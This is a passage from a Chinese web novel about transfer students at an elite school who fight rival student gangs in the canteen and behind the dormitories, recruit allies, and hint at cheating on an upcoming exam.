张霆琛被那些鄙夷的目光刺得浑身不自在,小声问:“涛子,这样不太好吧?”王涛满不在乎:“管他呢!能快点吃上饭就是王道!”他对着窗口里一个穿着油腻围裙的师傅熟稔地喊道:“帮忙打…”然后扭头问张霆琛,“几个人?”“九个!”
“妥了!”王涛转回头,嗓门洪亮,“老赵,打九份!A套餐!麻利点儿!”张霆琛看着那师傅二话不说就开始盛饭盛菜,心里直犯嘀咕:这王涛啥来头?这么横?要是他自己来,估计得排到猴年马月去。
刚接过几份餐盘,身后就传来一个阴阳怪气的声音:“呵,**没素质!当食堂是你家开的?”王涛闻声,猛地转身,脸上的笑容瞬间消失,眼神变得凶狠:“刘建平!**说谁呢?”
只见一个留着短寸、穿着花哨T恤的男生,带着三个跟班,吊儿郎当地晃了过来。为首的刘建平嘴角挂着讥诮的笑,故意放慢语速:“说谁?当然是说你王涛啊!怎么着?想咬我?”他身后的跟班发出一阵哄笑。
王涛腮帮子咬得咯咯响,强压着火气:“姓刘的!今天我们跟新同学吃饭,懒得跟你计较!日子长着呢,你等着!”
刘建平像是听到了天大的笑话,夸张地大笑几声:“哈哈哈!我等着!就怕你怂!”他边说边往前走,准备打饭,经过张霆琛身边时,故意停下脚步,斜眼打量着他,语气带着蛊惑,“喂,新来的?跟王涛他们混没前途,不如跟哥混?保管比他们强!”
这句话像点燃了**桶!王涛再也忍不住,猛地冲上前,指着刘建平的鼻子怒吼:“刘建平!**是真活腻歪了是吧?!”
邓志辉、李辰浩他们也立刻围了上来。邓志辉试图缓和:“平哥,什么事儿这么大火气?”李辰浩则一步跨到张霆琛身边,眼神冷得像冰,声音低沉地问他:“他们找你麻烦?”那架势,仿佛只要张霆琛点个头,他下一秒就能把对方撕碎。
刘建平根本没搭理邓志辉,反而冲着浑身散发着危险气息的李辰浩挑衅地抬了抬下巴:“小子!老子就是找事儿,你能怎么着?”
“就这么着!”话音未落,一道身影从李辰浩身侧猛地窜出!是苏旭!他动作快得惊人,抬腿就是狠狠一脚,结结实实地踹在刘建平的肚子上!
刘建平猝不及防,惨叫一声,整个人弓着腰向后踉跄撞去,哗啦一声撞翻了旁边一张餐桌,餐盘碗筷摔了一地,汤汁饭菜溅得到处都是。整个喧闹的食堂,瞬间死寂一片。
第四十五章:志辉入伙
他身后那帮人瞬间炸了锅,眼睛瞪得通红,撸胳膊挽袖子就要往上扑,空气里弥漫着浓得化不开的**味,眼看就要炸开。就在这时,邓志辉的声音不高不低地插了进来,带着一种刻意压制的冷静:“哥几个,跟这儿动手?”他扫视着对方躁动的人群,嘴角勾起一丝讥讽,“未免太不过脑子了吧?惊动了老师,咱们有一个算一个,全都得吃不了兜着走,不服气?有种的,吃完午饭,后楼见真章!”
刘建平挣扎着爬起来,他死死拽住身边一个要往前冲的兄弟,声音压着怒火:“别冲动!”他抹了把嘴角,眼神阴鸷地走到邓志辉面前,几乎是咬着牙根说:“行啊,志辉,找了几个生猛的好帮手。”他冷笑一声,目光扫过苏旭等人,“这事儿,你们等着跟李耀解释吧!”临走前,他猛地抬手,食指狠狠戳向苏旭,声音从牙缝里挤出来:“小子,有种一会儿别跑!”
苏旭梗着脖子,眼神毫不退缩,掷地有声地甩出两个字:“随你!”看着刘建平一伙人骂骂咧咧地走远,邓志辉才长长吐了口气,眉头紧锁,看向惹事的苏旭:“我说你们几个,火气也太冲了,这下麻烦大了!”
王涛和彭志龙几乎是异口同声,拍着胸脯:“志辉,怕他们个鸟!要干就干,我们奉陪到底!”张霆琛有些摸不着头脑,凑过来问道:“怎么回事?不就一小撮人嘛,至于这么紧张?”邓志辉揉了揉眉心:“你们刚转来,不知道这潭水有多深。走,先吃饭,边吃边跟你们细说。”他招呼着众人回到略显狼藉的餐桌旁。
几个人重新坐下,气氛凝重。邓志辉压低声音,语速很快:“刚才那刘建平,他亲哥是旁边职校的老大,手黑着呢。但这还不是最要命的,咱们学校有个不成文的铁规矩,校内矛盾校内了,谁要是敢把校外的势力牵扯进来,那就是捅了马蜂窝,后果不堪设想!你们想想,王涛他爸道上背景硬吧?林凯他爸是市局局长吧?可这学校水深得很,名副其实的贵族学校,藏龙卧虎,背景通天的人多了去了!真动起校外关系,谁输谁赢不一定,但绝对会把事情搞到无法收拾的地步!”
他顿了顿,语气更沉:“现在说正题。刘建平本人不算什么,关键是他跟高二的李耀关系铁得很!李耀是高二的头。如果只在校内凭拳头说话,就咱们现在这几个,怎么打”他无奈地摇摇头。
张霆琛这下彻底明白了,核心问题是校内人手不足。他脸上露出歉意,诚恳地说:“明白了志辉。那我先替我兄弟道个歉。现在怎么补救?有没有挽回的余地?”“挽回个屁!”王涛猛地一拍桌子,碗筷都震得跳了一下,“兵来将挡,水来土掩!干就完了!怕他们?”李辰浩立刻热血上头地附和:“就是!生死看淡,不服就干!跟他们拼了!”林凯、彭志龙等人也纷纷点头,脸上写满了年轻人的血气方刚。
邓志辉看着这群兄弟,眼神复杂:“打?打输了怎么办?咱们就七个人,人家能叫来多少?打完了以后呢?麻烦只会更大!”他的声音里透着担忧和一丝不易察觉的疲惫。张霆琛敏锐地察觉到邓志辉是这个圈子的核心,头脑清醒又讲义气,值得深交。他觉得这是个融入的机会,立刻接口道:“志辉说得对,不过人少不一定就输。兵贵精不贵多!咱们七个只要拧成一股绳,劲儿往一处使,未必打不过!”
邓志辉还想再分析利弊,王涛已经不耐烦地打断他,抓起筷子:“我说志辉,你今天怎么婆婆妈妈的?不像你啊!来来来,先吃饭,吃饱了才有力气!吃完后楼集合!”他不由分说地给邓志辉夹了一筷子菜。邓志辉看着兄弟们群情激愤的样子,知道再劝也是徒劳,只能无奈地摇摇头,默默扒拉着饭,心事重重。
一直沉默的梁颖忍不住了,声音带着焦急:“你们疯了吗?这种事应该告诉老师!靠暴力能解决什么问题?要是被老师抓到,你们就等着永远在那个破宿舍里关禁闭吧!”李辰浩没听懂,疑惑地问:“永远在宿舍?啥意思?”
邓志辉尴尬地咳嗽一声,含糊道:“咳…这个…回头再给你们解释。现在先想想怎么应付眼前这关吧。”梁颖急了,声音提高:“我跟你们说话呢!听见没有!不能自己蛮干!”旁边的陈曦轻轻拉住她的胳膊,低声劝道:“小颖,我以前也跟你一样,觉得什么事都该找老师。但有些事尤其是男生之间这种冲突,老师介入效果真不大,最后还是得靠他们自己解决。”
梁颖咬着嘴唇,一脸担忧:“可我这是为你们好啊!”张霆琛见状,赶紧打圆场,语气温和:“我们知道了,小颖。你的心意我们都懂。现在咱们先好好吃饭,吃饱了,再去后楼,到时候大家再好好商量对策,你看行不?”梁颖看着张霆琛真诚的眼神,又看看其他人坚定的样子,只能无奈地点点头。
饭后,一行人沉默而迅速地走向宿舍楼后面那片偏僻的空地。这里远离教学楼和宿舍管理员视线,连个监控探头都没有,是学生们解决私人恩怨的传**场。刚转过楼角,就看到黑压压十几个人影已经等在那里,气势汹汹。刘建平站在前排,眼神怨毒地盯着苏旭。
一个留着利落短发、眼神带着几分阴鸷的男生排众而出,正是李耀。他脸上挂着似笑非笑的表情,语气带着居高临下的责备:“志辉,怎么回事啊?不是让你管好自己新收的‘小弟吗?怎么这么不懂规矩?”邓志辉不慌不忙地从口袋里摸出一根烟点上,深深吸了一口,吐出一缕青烟,眼神平静地看着李耀:“耀哥,话重了。我没什么小弟,这些都是我一起玩、一起扛事的兄弟。”他特意强调了兄弟二字。
李耀脸上的笑容更盛了,却透着一股寒意:“哦?兄弟?那你兄弟打了我兄弟,”他指了指旁边的刘建平,“这笔账,咱们今天怎么了?”邓志辉看向苏旭。苏旭二话不说,一步踏出,站得笔直:“人是我踹的,有什么道儿你划下来!想让我低头认怂?没门儿!”
刘建平顿时破口大骂:“操!**算老几?敢这么跟耀哥说话?!”李辰浩立刻顶了回去,指着刘建平:“**嘴巴放干净点!怎么跟我兄弟说话呢?!”邓志辉叹了口气,对李耀摊摊手:“耀哥,你也看到了,这事儿还真不太好谈。”
李耀脸上的笑容依旧灿烂,但就在一瞬间,那笑容猛地凝固、扭曲!毫无征兆地,他攥紧的拳头带着风声,狠狠砸向邓志辉的面门!邓志辉完全没料到对方会突然偷袭,结结实实挨了一拳,身体一晃,嘴角瞬间渗出血丝。
“打!”李耀这边的人一看老大动手了,立刻像出闸的狼群,嚎叫着扑了上来!一片混乱中,唯独张霆琛异常冷静。他一个箭步冲上前,蹲下身一把扶起邓志辉,脸上竟没有半分慌乱,反而带着一丝玩味的笑意:“志辉,怎么样?咱俩打个赌,你说这场架,最后谁能赢?”
邓志辉捂着发麻的脸颊,看着眼前这个在群殴中还能谈笑风生的张霆琛,心中惊愕无比,完全摸不透他的底牌。他嘶声道:“赢?开什么玩笑!他们人是我们两倍还多!怎么赢?”
张霆琛眼神锐利,紧盯着他:“你就说,赌不赌?赌谁能赢!”邓志辉看着张霆琛眼中那莫名的自信,不知为何,心底竟生出一丝奇异的希望。他一咬牙:“好!赌了!怎么个赌法?”张霆琛嘴角弯起:“简单。要是我们赢了,以后咱们就是真兄弟,肝胆相照那种。怎么样?”
邓志辉一愣,随即被张霆琛这份豪气和镇定彻底折服,竟也哈哈大笑起来,带着点破釜沉舟的豪迈:“好!一言为定!不过,我要加注!”他直视张霆琛的眼睛,一字一句道:“如果我输了,咱们是兄弟!如果你赢了我邓志辉以后,就跟你混了!”这话一出,等于他主动认了张霆琛做老大。
张霆琛眼中精光一闪,拍了拍邓志辉的肩膀:“那你就准备好跟着我吧。”话音未落,就听见李辰浩那边传来一声怪叫:“喂!小琛,你们俩聊完了没有?我可替你们挡了好几下了!累**!”
众人这才惊觉,战场上,王涛、彭志龙、林凯、苏旭、李辰浩五个人,竟背靠着背,形成了一个紧密的小圈,硬生生将李耀那十几号人挡在了外面!虽然个个挨了几下,脸上挂彩,但阵型竟没被冲散!
李耀看得又惊又怒,脸都气歪了,跳脚骂道:“操!十几个人干不过五个?你们他妈中午没吃饭啊?!”还真让他说中了,李耀这边的人确实还没来得及吃饭。
“慢着!”一个清朗又带着一丝诡异慵懒的声音响起。张霆琛脸上挂着那抹标志性的、让人捉摸不透的微笑,嘴角微微上扬,排开众人,径直走向李耀。苏旭
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和李辰浩默契地为他让开一条路。这突如其来的变故让所有人为之一愣,这个看起来清秀甚至有些单薄的少年,他想干什么?送死吗?
只有邓志辉,忍着脸上的疼痛,眼中却燃起了强烈的好奇和期待,他想看看这个张霆琛,到底凭什么赢下这个赌局!张霆琛走到离李耀一步之遥的地方站定,声音不大,却清晰地传入每个人耳中:“给你一分钟,带着你的人,从我眼前消失。否则…”他拖长了调子,发出一声意味不明的冷笑。
李耀从小到大哪受过这种赤裸裸的蔑视?一股邪火直冲天灵盖,**的心都有了!他故技重施,又是毫无征兆地一拳,带着呼啸声,狠狠捣向张霆琛的面门!“小心!”邓志辉惊呼出声。
电光火石之间,只见张霆琛看似随意地一抬手,竟稳稳当当地将李耀那势大力沉的拳头牢牢攥在了掌心!纹丝不动!
“还有半分钟。”张霆琛的声音冰冷,如同在宣读倒计时。李耀只觉得自己的拳头像是被铁钳夹住,任凭他如何用力都纹丝不动,一股巨大的羞辱感和恐惧感瞬间攫住了他。他气急败坏,声嘶力竭地对着手下咆哮:“都他妈愣着干什么?!给我上!废了他!!”
李耀的手下如梦初醒,再次如潮水般涌了上来!张霆琛眼神一凛,低喝一声:“动手!”李辰浩和苏旭早就憋着一股劲,闻言精神大振,如同猛虎下山般迎了上去!只见冲在最前面的两三人,几乎没看清怎么回事,就被李辰浩干脆利落的摔绊和肘击、苏旭迅猛的拳脚三两下放倒在地,惨叫着滚作一团!
李耀看着张霆琛近在咫尺、毫无波澜的眼睛,心中那股不祥的预感瞬间达到了顶点!他甚至能感觉到对方手掌传来的、令人心悸的力量。他想抽手,却感觉手腕像是被焊**一般!
“时间到了!”张霆琛话音未落,攥着李耀拳头的手猛地一松!李耀还未来得及反应,张霆琛的左拳已经如同出膛的炮弹,带着撕裂空气的锐响,狠狠砸在他的胃部!李耀痛得眼球暴突,身体本能地弓了起来。这还没完!张霆琛顺势屈膝,坚硬的膝盖骨带着全身的力量,狠狠顶在李耀因弯腰而暴露出来的下颌上!
李耀只觉得眼前金星乱冒,天旋地转。张霆琛的动作行云流水,没有丝毫停顿!顶膝的瞬间,他支撑腿发力,身体旋转,一记凌厉无比的鞭腿已经呼啸而至!这一脚,如同抡起的钢鞭,带着破空声,精准无比地抽在李耀已经失去平衡的头部侧脸!李耀的脑袋像被重锤击中,狠狠地、毫无缓冲地撞在旁边的水泥墙面上!一声令人牙酸的闷响过后,鲜血瞬间从他额头迸溅出来,顺着灰白的墙面蜿蜒流下。
刚才还喧嚣的战场,瞬间死寂。所有人都目瞪口呆地看着眼前这骇人的一幕。那个在高二年级呼风唤雨的李耀,竟然被一个刚转来的高一新生,在众目睽睽之下,打得毫无还手之力,像条死狗般瘫软在墙根,满脸是血,生死不知!
张霆琛缓缓收回腿,目光如同冰冷的刀锋扫过李耀那边呆若木鸡的手下。他嘴角勾起一抹毫不掩饰的轻蔑笑容,声音不高,却带着一种不容置疑的威压:“看清楚了?这就是跟我们作对的下场。”他抬手指向远处,“现在,都给我滚!”
剩下的人你看看我,我看看你,脸上写满了恐惧和茫然。老大倒了,就这么走了?太丢人了!可留下?看看地上那几个哼哼唧唧的同伴,再看看墙边血流满面的李耀,还有眼前这个如同煞神般的张霆琛,张霆琛看着他们犹豫不决的样子,脸上的笑容瞬间消失,取而代之的是一种近乎残忍的冷酷,眼神变得无比危险:“不想走的?”他声音陡然拔高,如同炸雷,“那就别走了!”他猛地转头对李辰浩和苏旭喝道:“打!”
“跑啊!”不知谁先喊了一嗓子,李耀那边的十几个人瞬间哭爹喊娘,连滚带爬地四散奔逃!只留下几个还算有点义气的,脸色惨白地冲过来,手忙脚乱地抬起昏迷不醒的李耀和地上受伤的同伴,跌跌撞撞地消失在楼角。
张霆琛这才转过身,目光平静地看向一直注视着他的邓志辉。邓志辉脸上的惊愕、担忧、困惑早已消失不见,取而代之的是一种释然、钦佩和难以言喻的复杂情绪。他咧开嘴,露出一个带着血痕却无比真诚的笑容,伸出拳头:“我输了!”
第四十六章:宿舍分配
夕阳拉长了几个少年的影子。邓志辉抹了把嘴角的淤青,目光扫过身旁同样挂彩的林凯、彭志龙和王涛,最后落在神色平静、毫发无损的张霆琛和李辰浩身上,眼神复杂。他深吸一口气,声音带着一丝决断,打破了沉默:“哥几个听着,以后,我就跟张霆琛混了,你们呢?什么打算?”
王涛正龇牙咧嘴地揉着发肿的眼眶,闻言一愣,下意识地挠了挠头,,脸上写满了不可思议:“不是吧飞哥?就你这家底背景,还跟别人混?”邓志辉摇摇头,脸上露出几分自嘲和清醒:“家底是家底,人是人。我没他那股子豁得出去的狠劲儿和算计。几斤几两,自己心里得掂量清楚。”他目光再次扫向林凯和彭志龙,“甭愣着,说话,怎么着?”
还是王涛先咋呼起来,拍着胸脯:“那还用说?辉哥你指哪儿我打哪儿!组织安排必须跟上啊!”他咧开嘴,牵动了伤口又“嘶”了一声。彭志龙揉着发酸的手腕,林凯按着隐隐作痛的肋骨,两人对视一眼,无所谓地耸耸肩:“行呗,辉哥都这么说了。那以后就跟着张大少了呗。”
“别!打住!”张霆琛立刻摆手,脸上带着真诚又随性的笑容,伸出手臂自然而然地搂过邓志辉和王涛的肩膀,“什么跟不跟的?以后咱们就是兄弟!有饭一起吃,有难一起扛!不分谁老大谁小弟,咱们就是一根绳上的蚂蚱,一体的!”
这话显然说到了王涛心坎里,他眼睛一亮,挣脱张霆琛的手臂,兴奋地挥了下拳头:“这话我爱听!痛快!那以后咱哥几个就一起玩,一起干!”林凯和彭志龙也露出了轻松的笑容,纷纷应和:“成!一起玩!”
气氛缓和下来。林凯走到一直沉默寡言的苏旭身边,带着点崇拜拍了拍他的肩膀:“哥们儿,刚才你那过肩摔,**的牛掰!干净利索!啥时候有空教教我呗?”苏旭憨厚地笑了笑,点点头:“行,准没问题。”
一行人说说笑笑往回走,身上的伤似乎也没那么疼了。邓志辉看着远处教学楼模糊的轮廓,叹了口气,语气带着点预感和无奈:“哥几个,悠着点吧,把李耀整那么惨,以后的日子,怕是消停不了喽。”李辰浩甩了甩拳头,眼神凶狠,透着股天不怕地不怕的劲儿:“怕个球,看有没有战士就完了!”
张霆琛嘴角勾起一抹自信到近乎嚣张的弧度,拍了拍邓志辉的背:“志辉,把心放肚子里,走着瞧呗,看看到底是谁的日子不好过。”那股子由内而外的强大自信,像电流一样击中邓志辉,让他心头一震。这股劲儿,正是日后他心甘情愿为张霆琛肝脑涂地的关键引信。
刚走到自己教学楼的门口,就看见陈曦和梁颖正焦急地张望着。梁颖一眼看到他们,立刻小跑过来,脸上带着惊魂未定和难以置信,压低声音对邓志辉说:“辉哥,刚才李耀满脸是血,是你干的?”邓志辉尴尬地摸了摸鼻子,下意识地瞥了眼张霆琛:“咳,我哪有那么狠…”他把问题轻巧地抛了出去,“喏,问他吧。”
梁颖顺着目光看向张霆琛,眼珠子都快瞪出来了,声音都变了调:“不会是你吧?张霆琛?”他实在无法把眼前这个看起来清秀平静的少年和那个血腥场面联系起来。陈曦在一旁插话,语气带着点小得意和与有荣焉:“切,少见多怪!我二哥强着呢!连大哥跟他过招都讨不了好!”
梁颖更糊涂了,挠着头:“啥?二哥?大哥?你们这还拜上把子了?”这关系发展得太快,他脑子有点转不过来。陈曦意识到说多了,赶紧打住,岔开话题:“哎呀,以后再跟你细说。赶紧散了吧,这么多人聚在门口,太扎眼了。”她推了推梁颖,示意大家赶紧回班。
教室里果然没有老师坐镇。李辰浩和张霆琛默契地拎起书包,直接换到了邓志辉旁边的座位。刚坐下,邓志辉就按捺不住好奇,压低声音问道:“哎,我说,你俩到底啥来路?打架那路子野得很,不是一般练家子啊。”
张霆琛和李辰浩对视一眼。张霆琛身体微微前倾,声音放得更低,带着点刻意营造的坦诚:“我们是孤儿,后来被人领养的。以前在福利院,不想被人欺负,就只能拼命练,练得狠了点。”他轻描淡写地带过。邓志辉挑了挑眉,显然没完全信:“领养?那领养的家庭得多有钱有势啊,能把你们塞进这贵族学校?要不是我爸硬逼着,我才不受这罪呢。”
张霆琛捕捉到他话里的信息:“那你家呢?能让那几位这么死心塌地,背景肯定也不浅吧?”邓志辉犹豫了一下,看了看四周,最终凑近两人,声音压得极低,带着点破罐破摔的意味:“行吧,纸包不住火,告诉你们也无妨。听说过青帮吗?”
李辰浩皱眉思索了一下:“青帮?听老辈人提过一嘴,不是说建国那会儿被打跑,退到台省去了吗?”“没错!”邓志辉点点头,眼神里多了几分与年龄不符的深沉,“但这些年,又回来了。我爸是青帮在这边的一个堂主。所以论道上背景,我比那几个小子深多了。”
张霆琛眼神微不可察地闪烁了一下,透出强烈的兴趣:“青帮,真有那么厉害?”“那必须的!”邓志辉语气肯定,“他们规矩严得吓人,入帮门槛高,所以内部特别抱团。加上财力雄厚,守着沿海这几块肥肉。除了北边的洪门,南边的十四K和三合会,基本就没人敢跟他们叫板了。”
“这么厉害…”张霆琛低声重复着,眼神若有所思地飘向窗外。一个模糊却极具诱惑力的念头开始在他心底滋生,攀上青帮这棵大树,或许就是自己摆脱过去、出人头地的捷径?他手指无意识地轻轻敲击着桌面。
邓志辉打断了他的思绪,拉回现实:“先别想那么远!眼下这关怎么过?李耀那孙子可不是吃素的,吃了这么大亏,绝对没完。咱总不能老等着挨揍吧?”李辰浩
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拳头一握,杀气腾腾:“那就招兵买马!扩充队伍!跟他们干到底!”张霆琛回过神来,眼神重新聚焦,带着决断:“对,硬碰硬也得有本钱。先拉人!”
“成!”邓志辉也觉得这是目前最可行的办法,“晚点我就去其他班转转,看看有没有愿意跟着咱们干的兄弟。”张霆琛又想起宿舍的事,问道:“对了,志辉,跟我们说说宿舍的事呗?”邓志辉一听这个,重重叹了口气:“别提了!这破学校,势力眼得很!入学就考试,按分数分宿舍!我们几个垫底了,就给塞到那破地方去了。刘建平那伙人,还有路译那帮,情况跟我们一样,算初一三拨倒霉蛋。”他脸上满是愤懑,“什么没宿舍?扯淡!就是老师看人下菜碟,成绩差的就扔到那破地方!你们想去好宿舍?等下个月月考吧,考好了自然能换。”
李辰浩一脸不屑:“切,宿舍而已,有啥好挑的?能睡人不就得了?”“兄弟!你想得太简单了!”邓志辉激动地差点拍桌子,又赶紧压低声音,“那破宿舍,连个空调都没有!还全是阴面!冬天还能凑合,夏天呢?就他妈靠头顶一个破电扇,嗡嗡响,屁用没有!跟蒸笼似的!我们都快疯了,做梦都想搬出去!”他烦躁地抓了抓头发。
张霆琛和李辰浩这下明白了,也立刻想到了陈曦,心里不免有些担忧。张霆琛平静地问:“考试过了不就能换了?”“过了是能换!”邓志辉一脸苦相,“但问题是你过了,别人没过,大家就得拆开!除非…”他眼中燃起一丝微弱的希望,“除非一个宿舍的人全都考过!那样学校才会考虑让我们还住一起,说不定还能给个‘优秀宿舍’的奖状贴门上装点门面。”
“操!**势利!这破教育制度!”李辰浩忍不住低声骂了一句。张霆琛却笑了,那笑容里带着强大的自信和一丝不易察觉的掌控感。他拍了拍邓志辉的肩膀,语气笃定:“行了,多大点事儿。等着吧,下个月考试,我保你们全过!咱们一起搬空调房!”
邓志辉又是一声长叹,觉得张霆琛太乐观:“大哥,说得轻巧!考试有手机信号***的!考场里全是跟我一样抓瞎的主儿,抄?抄谁的啊?还不如自己蒙呢!”
张霆琛嘴角勾起一抹意味深长、近乎邪气的笑容,身体微微后仰,眼神里闪烁着狡黠的光芒:“我要是没猜错的话下回月考,咱们新生考场,是不是就在你们隔壁?”邓志辉一愣:“啊?是,新生是单独设考场,但就在我们边上不远…”
张霆琛的笑意更深了,手指在桌面上轻轻点了点,声音带着十足的把握:“那就更没问题了!等着瞧吧,到时候,咱们就准备好收拾行李,搬新家!”邓志辉看着张霆琛那副胸有成竹的样子,虽然心里还是七上八下,但莫名地,似乎也看到了一丝搬离蒸笼的希望曙光。他现在也只能选择相信这个充满谜团和自信的新老大了。
第四十七章:土狗欧泉
傍晚的夕阳给校园镀上一层暖金色,放学的人潮渐渐散去。彭志龙看着身边几个伙伴:“赶紧的,这会儿食堂人少,抢饭正合适!”没人反对,一行人便踩着斑驳的树影,浩浩荡荡向食堂进发。
路上,林凯像是想起了什么大新闻,猛地一拍大腿:“操!你们听说了吗?现在整个年级都在传,说是志辉带人把高二的李耀给挑了,要当咱们学校的扛把子!”邓志辉闻言,无奈地翻了个白眼,嘴角扯出一个苦笑:“这传话的嘴啊,真是能把芝麻吹成西瓜。费解,真费解。”
旁边的李辰浩立刻来劲了,用力点头,声音洪亮:“对对对!这个我深有体会,苏旭吹牛的本事我可亲眼见识过,那家伙,能把一只扑棱蛾子说得跟头大象在天上飞似的!”他夸张地比划着,逗得所有人哄堂大笑,笑声在空旷的操场上格外响亮。被点名的苏旭立刻炸毛,梗着脖子嚷嚷:“什么叫吹牛!那是活跃气氛,给大家找乐子!李辰浩我看你是皮痒欠练了是吧?”
李辰浩毫不示弱地撸起袖子,露出结实的小臂,往前踏了一步,脸上带着促狭的笑:“嘿!怎么着?想练练?来啊!”他故意把指关节捏得咔吧响。空气里顿时弥漫起一股半真半假的**味。谁都知道,论真动手,苏旭那点斤两在李辰浩面前根本不够看。苏旭眼珠一转,非常“识时务”地清了清嗓子,摆出一副宽宏大量的样子:“咳…念在你是初犯,这次就算了。下次再敢,我让我媳妇儿来收拾你!”话音刚落,旁边一直没说话的陈曦闪电般出手,“啪”地一巴掌拍在他后脑勺上,清脆响亮:“苏旭!你不吹牛能憋死啊?!”这神来之笔再次引爆了全场的笑声。
倒是林凯在一片笑声中收住了,带着点认真对苏旭说:“哎,说真的小旭,你之前那两下子身手真不赖。跟哪儿练的?哪天带我也去开开眼?”苏旭被人一捧,顿时像被顺了**的猫,骨头都轻了几两,眉开眼笑,找不着北了,就差没原地飘起来。
一旁的张霆琛这时开口,声音沉稳,话题也转了回来:“李耀那边怎么样了?伤得重吗?来上课没?”
彭志龙压低了些声音:“我听人说,李耀住医院了,但没告诉老师,好像咽不下这口气,要自己找回场子。以后咱们的日子怕是不太平了,得赶紧多拉点人。总不能每次都指望碰上好运气吧?”他语气里带着一丝忧虑。邓志辉显然已经考虑过这个问题,接口道:“嗯,商量过了。我琢磨着,打着霆琛的名头,咱们去各个宿舍收人,怎么样?”张霆琛立刻摇头,态度很坚决:“不行。我没什么名头,打着我的旗号没号召力。志辉,就用你的名字。”他的目光坦诚而直接。邓志辉也没矫情,干脆地点头:“行。”
一行人到了食堂门口,里面果然人不多。王涛习惯性地就想往打饭窗口的队伍前头挤,动作熟练得像排练过。这时,一个清脆的女声传来:“小曦!”大家回头,发现梁颖竟然也跟来了,正站在不远处朝陈曦挥手,笑容明媚。邓志辉挑了挑眉,故意拉长了调子:“哟,我说魏大美女,今儿怎么又屈尊跟咱们混食堂来了?”
梁颖俏脸一扬,毫不示弱:“怎么?我想我好姐妹了,不行啊!”她快步走过来,亲昵地挽住陈曦的胳膊。林凯在一旁挤眉弄眼,拖长了声音,带着促狭的笑意:“但愿如此吧”那语气,意味深长。
梁颖瞬间红了脸,上前一步,用力推了林凯一把:“林凯!你什么意思?给我说清楚!”“什么意思?嘿嘿,大家伙儿心里都清楚呗…哈哈哈!”林凯怪笑着,灵活地一闪身,拔腿就跑。梁颖气得跺脚,嘴里喊着“你给我站住!”,真就在后面追了起来。青春的身影在食堂门口追逐打闹,倒也冲淡了刚才谈论正事的凝重,添了几分轻松快活。
吃完简单的晚饭,邓志辉一抹嘴,提议道:“哥几个,走啊?饭后一支烟,快活似神仙?”张霆琛有些局促地摆摆手:“我不会抽烟。”王涛几个人立刻围了上来,一脸“你逗我呢”的表情:“不是吧琛哥?打架那么猛,烟都不会抽?这可不科学!真跟你说了,饭后这一根,那是赛过活神仙!”王涛说得唾沫横飞,仿佛在传授什么人生真谛。
话音刚落,梁颖的声音又插了进来,带着点不满:“喂!你们几个,别把人家带坏了行不行?”
林凯刚被“追打”完,立刻抓住机会反击,阴阳怪气地说:“呦!你们看!我说什么来着?大美女来吃饭果然别有用心啊!这不就关心上了?”他故意把字咬得很重。
这句话像根针,精准地扎在梁颖的心尖上,她脸颊瞬间飞起两朵红云,又羞又急,想反驳却一时语塞:“我…我…”陈曦看不过去,挺身而出:“干嘛呢你们!一群人欺负一个女孩子,有没有点绅士风度!同学之间关心一下怎么了?犯法啊!”梁颖立刻找到了主心骨,也底气足了,瞪着林凯:“就是!同学关心不行啊?就你多嘴!”伶牙俐齿地怼了回去,噎得林凯直翻白眼。
张霆琛赶紧打圆场,声音温和但不容置疑:“好了好了,都少说两句。你们去吧,我真不抽。李辰浩会,让他陪你们。”邓志辉看看时间:“晚饭后自由活动时间多,我们去抽根烟,一会儿上哪找你?这样吧,你跟着我们去,抽不抽随你,就当认认地儿。”这个提议算是折中,大家都没意见。
陈曦则一把拽住想溜号的苏旭:“你!留下陪我说话,不然…哼哼!”她威胁性地扬了扬小拳头。苏旭立刻蔫了,苦着脸点头。于是,邓志辉、王涛、林凯、李辰浩,加上张霆琛,几个男生走向了教学楼角落那个著名的抽烟胜地男厕所。一推门,一股熟悉的混合着消毒水和烟草的浑浊气味扑面而来。
真是冤家路窄,里面靠墙站着的,赫然是中午才挨过揍的刘建平!他正叼着烟,看到张霆琛等人进来,故意提高音量,阴阳怪气地对着空气说:“哎!真可怜,有些人啊,狂得没边儿了,等着给自己收尸吧。”
张霆琛脚步一顿,声音低沉:“你刚才说谁呢?”刘建平下意识地后退了小半步,梗着脖子嘴硬:“说谁谁心里清楚!动了李耀,就别想在这学校有安生日子!看你们还能狂几天!”张霆琛脸上没什么表情,只是把刚才的话又重复了一遍:“我问你,刚才说谁呢?”语气里的压迫感陡然增强。
刘建平似乎被这平静的质问激怒了,也可能是仗着有后手,猛地伸手推了张霆琛肩膀一把:“就说你呢!怎么着?!”话音未落,“啪!”一声极其清脆响亮的耳光声在狭小的厕所里炸开!刘建平捂着脸,火辣辣的疼,但他这次没像中午那样怂,反而露出一丝扭曲的得意,尖声叫道:“哥几个!出来!”随着他的喊声,厕所隔间
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的门几乎同时被推开,一下子涌出来十来个学生,瞬间把不大的厕所挤得满满当当,个个面色不善地盯着张霆琛几人。原来刘建平早有预谋,在这儿设好了埋伏,就等张霆琛他们自投罗网!
刘建平捂着脸,得意洋洋地看着被包围的张霆琛,以为会看到对方惊慌失措的样子。然而,张霆琛只是冷冷地扫视了一圈围上来的人,嘴角甚至勾起一丝若有似无的轻蔑弧度:“就这点人?想对付我们?塞牙缝都不够吧?”他的声音平静得像在陈述事实。
暴脾气的王涛早已按捺不住,破口大骂:“日你大爷的刘建平!中午还没挨够是吧?今儿非让你再长长记性!”刘建平没理王涛,肿着半边脸,死死盯着张霆琛,带着报复的快感:“哼!上午你打了李耀,不就是仗着出手快,下手黑吗?有种别玩偷袭!今儿我请了个真正的高手来会会你!”他话音刚落,人群自动分开一条缝,一个极其壮硕的学生像座铁塔般挪了出来,几乎堵住了半个过道。他居高临下地俯视着张霆琛,瓮声瓮气地问:“你就是张霆琛?”语气里充满了审视和不屑,“就你这小身板,经得住我一下吗?”
邓志辉看清来人,脸色微变:“土狗,你也来趟这浑水?”被叫做土狗的壮汉咧嘴一笑,露出不太整齐的牙齿:“辉哥,别误会。我不是冲你来的。我就是听说这小子有两下子,特意来跟他练练,练完我就走,不掺和你们的事儿。”他活动着粗壮的脖子,发出咔吧的轻响。
邓志辉还想说什么,张霆琛却已经上前一步,直接对上了土狗的目光,眼神锐利如鹰:“单挑?可以。但跟我单挑,得有彩头。你拿什么跟我打?”土狗像是听到了什么笑话,蒲扇般的大手一挥:“随你开!只要你能赢我,让**啥都行!”他显然对自己的实力有着绝对的自信。
